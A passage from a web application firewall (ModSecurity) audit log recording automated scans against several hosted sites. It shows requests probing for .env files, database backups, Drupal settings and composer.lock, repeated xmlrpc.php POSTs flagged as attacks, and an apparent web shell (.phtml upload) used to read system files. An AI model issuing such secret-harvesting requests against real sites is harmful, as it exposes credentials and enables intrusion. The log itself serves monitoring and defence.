"/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/open-iscsi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8q0xQKR3lSdoPAzimAsAAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750018771627401 4675 (- - -) Stopwatch2: 1750018771627401 4675; combined=2425, p1=338, p2=1865, p3=57, p4=45, p5=119, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4607bf19-Z-- --3ceb703d-A-- [16/Jun/2025:01:49:40.087585 +0530] aE8q2zZWrQ9Ly--lMo_-2QAAAAE 128.199.112.101 42644 127.0.0.1 7081 --3ceb703d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3ceb703d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3ceb703d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8q2zZWrQ9Ly--lMo_-2QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018779156821 930820 (- - -) Stopwatch2: 1750018779156821 930820; combined=2191, p1=388, p2=1415, p3=40, p4=57, p5=181, sr=111, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ceb703d-Z-- --8be7ca3f-A-- [16/Jun/2025:01:49:55.789798 +0530] aE8q6xQKR3lSdoPAzimAuwAAAAk 185.177.72.210 34058 127.0.0.1 7081 --8be7ca3f-B-- GET /:5601/composer.lock HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8be7ca3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=21e4017981fc73e3dba767eae17239241750018795; expires=Sun, 15 Jun 2025 21:19:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8be7ca3f-H-- Message: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/composer.lock"] [unique_id "aE8q6xQKR3lSdoPAzimAuwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018795151704 638157 (- - -) Stopwatch2: 1750018795151704 638157; combined=1654, p1=369, p2=1191, p3=0, p4=0, p5=94, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8be7ca3f-Z-- --e34e5143-A-- [16/Jun/2025:01:49:56.753876 +0530] aE8q7Ifvqn7_SDWw_wX8CwAAAAc 185.177.72.210 34094 127.0.0.1 7081 --e34e5143-B-- GET /Final_Project/StartingFile/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e34e5143-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=147711ac5acb80deb36eb2bb029049791750018796; expires=Sun, 15 Jun 2025 21:19:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e34e5143-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Final_Project/StartingFile/.env"] [unique_id "aE8q7Ifvqn7_SDWw_wX8CwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018796109428 644511 (- - -) Stopwatch2: 1750018796109428 644511; combined=2088, p1=376, p2=1622, p3=0, p4=0, p5=90, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e34e5143-Z-- --9782a623-A-- [16/Jun/2025:01:49:57.741222 +0530] aE8q7TZWrQ9Ly--lMo_-4gAAAAE 185.177.72.210 34132 127.0.0.1 7081 --9782a623-B-- GET /pfbe/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9782a623-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6bdcef006cb8fd11e0cc204d2b3551141750018797; expires=Sun, 15 Jun 2025 21:19:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9782a623-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/pfbe/.env"] [unique_id "aE8q7TZWrQ9Ly--lMo_-4gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018797072671 668615 (- - -) Stopwatch2: 1750018797072671 668615; combined=1968, p1=392, p2=1476, p3=0, p4=0, p5=99, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9782a623-Z-- --7067490c-A-- [16/Jun/2025:01:50:00.874103 +0530] aE8q8I4fGN8g7lyBTW_07gAAAAM 185.177.72.210 42908 127.0.0.1 7081 --7067490c-B-- GET /:10000/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7067490c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=734aae3b693c28c4cd89907e89130fd21750018800; expires=Sun, 15 Jun 2025 21:20:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7067490c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/server/.env"] [unique_id "aE8q8I4fGN8g7lyBTW_07gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018800167622 706546 (- - -) Stopwatch2: 1750018800167622 706546; combined=1942, p1=373, p2=1479, p3=0, p4=0, p5=89, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7067490c-Z-- --185b8772-A-- [16/Jun/2025:01:50:11.353173 +0530] aE8q-kaRoH9PZO5fwRnfjQAAAAw 185.177.72.210 48572 127.0.0.1 7081 --185b8772-B-- GET /:9000/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --185b8772-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3487de0aac3fa1a43d0c4bf0911af8561750018811; expires=Sun, 15 Jun 2025 21:20:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --185b8772-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.docker/.env"] [unique_id "aE8q-kaRoH9PZO5fwRnfjQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018810682564 670686 (- - -) Stopwatch2: 1750018810682564 670686; combined=2122, p1=375, p2=1587, p3=0, p4=0, p5=159, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --185b8772-Z-- --8af83c33-A-- [16/Jun/2025:01:50:21.012221 +0530] aE8rBF4QpUmzcAFMV3bVOQAAAAI 185.177.72.210 44722 127.0.0.1 7081 --8af83c33-B-- GET /examples/with-cookie-auth-fauna/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8af83c33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca6067f1f76a7be597d7bd7684b574ba1750018820; expires=Sun, 15 Jun 2025 21:20:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8af83c33-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/with-cookie-auth-fauna/.env"] [unique_id "aE8rBF4QpUmzcAFMV3bVOQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018820362933 649363 (- - -) Stopwatch2: 1750018820362933 649363; combined=2114, p1=440, p2=1559, p3=0, p4=0, p5=114, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8af83c33-Z-- --c5f6d27c-A-- [16/Jun/2025:01:50:40.464181 +0530] aE8rFxQKR3lSdoPAzimA3QAAAAk 128.199.112.101 42594 127.0.0.1 7081 --c5f6d27c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c5f6d27c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c5f6d27c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8rFxQKR3lSdoPAzimA3QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018839541420 922816 (- - -) Stopwatch2: 1750018839541420 922816; combined=2696, p1=477, p2=1819, p3=42, p4=63, p5=180, sr=130, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5f6d27c-Z-- --82ac9349-A-- [16/Jun/2025:01:50:44.556753 +0530] aE8rG7SOi14Mt1Fv4_TCSQAAAAo 185.177.72.210 42870 127.0.0.1 7081 --82ac9349-B-- GET /playground/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --82ac9349-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9cce3febde4c9b3e12bcce6f57a51f931750018844; expires=Sun, 15 Jun 2025 21:20:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --82ac9349-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/playground/.env"] [unique_id "aE8rG7SOi14Mt1Fv4_TCSQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018843809504 747348 (- - -) Stopwatch2: 1750018843809504 747348; combined=1919, p1=373, p2=1338, p3=0, p4=0, p5=208, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82ac9349-Z-- --b68ff273-A-- [16/Jun/2025:01:50:51.929351 +0530] aE8rI0aRoH9PZO5fwRnfpAAAAAw 185.177.72.210 49430 127.0.0.1 7081 --b68ff273-B-- GET /:5000/sites/all/libraries/courrierchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b68ff273-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1465fc6972016ef2d83f736d300011af1750018851; expires=Sun, 15 Jun 2025 21:20:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b68ff273-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/sites/all/libraries/courrierchimp/.env"] [unique_id "aE8rI0aRoH9PZO5fwRnfpAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018851221236 708179 (- - -) Stopwatch2: 1750018851221236 708179; combined=1876, p1=393, p2=1370, p3=0, p4=0, p5=112, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b68ff273-Z-- --d5018a46-A-- [16/Jun/2025:01:51:40.611656 +0530] aE8rU14QpUmzcAFMV3bVYQAAAAI 128.199.112.101 42944 127.0.0.1 7081 --d5018a46-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d5018a46-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d5018a46-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8rU14QpUmzcAFMV3bVYQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018899662390 949332 (- - -) Stopwatch2: 1750018899662390 949332; combined=2369, p1=361, p2=1546, p3=43, p4=66, p5=219, sr=98, sw=134, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5018a46-Z-- --e5827c5c-A-- [16/Jun/2025:01:51:54.699141 +0530] aE8rYo4fGN8g7lyBTW_1JwAAAAM 185.177.72.210 52646 127.0.0.1 7081 --e5827c5c-B-- GET /sites/default/settings.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e5827c5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=183ca527ca387d2bf3fd97683389ffc21750018914; expires=Sun, 15 Jun 2025 21:21:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e5827c5c-H-- Message: Warning. Matched phrase "/sites/default/settings.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/sites/default/settings.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sites/default/settings.php"] [unique_id "aE8rYo4fGN8g7lyBTW_1JwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018914018847 680355 (- - -) Stopwatch2: 1750018914018847 680355; combined=2011, p1=388, p2=1527, p3=0, p4=0, p5=96, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e5827c5c-Z-- --9a658870-A-- [16/Jun/2025:01:51:59.724870 +0530] aE8rZ7SOi14Mt1Fv4_TCbgAAAAo 185.177.72.210 52860 127.0.0.1 7081 --9a658870-B-- GET /admin/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9a658870-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a10fd707e306ea020d89a64ce7aa87011750018919; expires=Sun, 15 Jun 2025 21:21:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9a658870-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/db_backup.sql"] [unique_id "aE8rZ7SOi14Mt1Fv4_TCbgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018919069091 655852 (- - -) Stopwatch2: 1750018919069091 655852; combined=1587, p1=320, p2=1162, p3=0, p4=0, p5=104, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a658870-Z-- --73db623c-A-- [16/Jun/2025:01:52:04.827517 +0530] aE8rbLSOi14Mt1Fv4_TCcAAAAAo 185.177.72.210 42156 127.0.0.1 7081 --73db623c-B-- GET /symfony/apps/frontend/config/routing.yml HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: 